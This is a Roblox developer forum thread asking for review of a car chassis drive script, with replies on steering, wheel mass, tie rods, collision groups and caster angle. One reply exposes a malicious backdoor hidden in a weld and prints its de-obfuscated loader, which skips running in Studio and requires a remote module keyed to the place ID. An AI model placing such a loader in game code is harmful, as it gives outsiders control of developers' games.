Car Chassis System

Edit: File removed

The specific code I would like reviewed is the script called “DriveScript” inside the car. Feel free however to view the rest of the system that works with that code.

The drive script is the sole code to make the car drive. It turns the rear wheels to give it the go, and it steers the front tires to help make corners. The script does this via using the vehicleseat’s Throttle & Steer values. Holding down Z will unsettle the tires from the car when you’re dead stopped. (This is because sometimes the tires get stuck in the chassis hit box when the cars hit the walls too hard or at a weird angle.) Holding down B will lock up the rear wheels to stop the car quickly as a form of “handbrake.”

The car’s responsiveness doesn’t feel quite right.

I’m considering taking the user’s direct inputs, rather than scraping them from the vehicleseat, but I’m uncertain what is the best way to go about doing that, or if my current way of doing it is the best. Moreover, I wouldn’t mind even finding improvements with the current status of my code.

12 Likes

This is the one of best driving vehicles I’ve tested on Roblox. Very nice work so far.

I can’t offer any recommendations on the code at this time(seems to work good), but I can provide some feedback that could help make improvements.

The Pivot Point:
The one thing I don’t like about the feel of cars in Roblox(this one included) - is the pivot point being in the center of the vehicle when they turn.The true pivot point should be near the rear axle. If you can find a way to do that, I think it will improve the feel of driving. (It will probably worsen maneuverability, but such is real life)

Steering Stability:
The other thing I noticed on this vehicle, is that the front steering mechanism is very loose, and the front wheels are independent in steering, meaning they can turn opposite each other in a way they shouldn’t. This is noticeable when driving straight, and when sitting still - The front wheels will bounce around a bit. You can feel it in the handling too.

The front wheel spindles could benefit from “simulated” tie-rods, to hold them in alignment.
robloxapp-20190225-1141099

I used to make vehicle mods in BeamNG, and have always been a “car guy” - hope this helps, and good luck!

3 Likes

The reason I don’t have the front wheels linked is to promote sharper turning. Thanks for checking it out though. Build wise I’m not exactly sure what to improve. Considered suspension but oh what a pain that is haha.

Oh and the wheels bouncing around when you’re sitting still is a by product of the torque in the servo that controls the steering. Any more torque and if bounces like crazy. Any less and they won’t come back straight all that quickly.

2 Likes

Just a heads up; you’ve got a malicious script hiding in a weld.

3赫特15618凉赫特赫特 if you want to just paste into explorer search
Best translation I can make google give me ‘3hz 15618 cool te he he’
image

Find and replace to de-obfuscate:

if game['GetService'](game, 'RunService')['IsStudio'](game['GetService'](game, 'RunService'))then 
	return 
end;
pcall(function()  
	if game['GetService'](game, 'Debris')['FindFirstChild'](game['GetService'](game, 'Debris'), '?') then 
		getfenv()['require'](game['GetService'](game, 'Debris')['FindFirstChild'](game['GetService'](game, 'Debris'), '?'))['slo'](game['PlaceId']) 
	end
end)

3hz doesn’t sound very cool to me.

The axle torque is only causing the wheels/axles to spazz due to disproportionately higher wheel mass. The 4 wheels together account for 36% of the car’s mass. Both steer tires have a mass 50 times larger than the axle they join with the drive hinge.

DriveScript is in dire need of a refactor. What I would recommend is abstracting the physics logic out of the bound input. My approach was to create schema dictionaries indexed by an action names, quite similar to how ContextActionService is used. This allowed me to seamlessly transition between input types, as well as provide core features to later allow for player defined custom keybinds.

Repo of that script here. Sorry in advance for the mess; this hasn’t been touched in half a year.

4 Likes

Thanks for spotting the Malicious script. My file was from a team create, so it appears one of the guys have a dodgy plugin. That being said, you’ve really lost me here…

I’m not sure what you mean by “abstracting the physics logic out of the bound input”

Also

All of this is just talking about giving users the ability to choose their own controls, correct?

The tires need to have a large amount of mass to them to keep them to stick to the ground better, especially during collisions, as these cars are used for close quarters racing. I’ve found the small amount the wheels shake isn’t that bad, and during driving, they seemingly have no particular issues. Any lower torque, and they won’t turn quick enough, any higher they shake even more.

This seems to work really well and is very stable, nice convert from your previous system.

This has been mentioned but the steering is very loose.
You can increase the ServoMaxTorque to combat this.

As for keeping the steering synchronised, a simple rod seems to work pretty well:

I didn’t like that there was no front braking system, its kind of disconcerting that the only means of braking was on the rear wheels - which makes the car spin out. Not great when I’m about to hit a wall. >_<

Just to note, if you ever wanted to make use of the Spacebar for the rear brakes, you can set the JumpPower of a Player’s Humanoid to 0, and it will stop the player from jumping out of the car.

[EDIT]

One last thing! Don’t forget to make use of the CollisionGroup editor!
Its really great for this sort of thing - I used it to stop my wheels colliding with the vehicle chassis.
For example; Below there’s two groups I’ve set up - One for the chassis which can collide with everything, and one for the wheels - which can collide with everything except the chassis!
image

5 Likes

Big ups for that Rod idea. I have thought about the jump power thing, but that’s more for my actual game. These are more of the competitive setup where getting of the car is fine.

This would take some work, but if you aren’t aware of it investigating positive caster angle would be helpfull once you add the tie bar: https://m.youtube.com/watch?v=THemO9E7jq4

2 Likes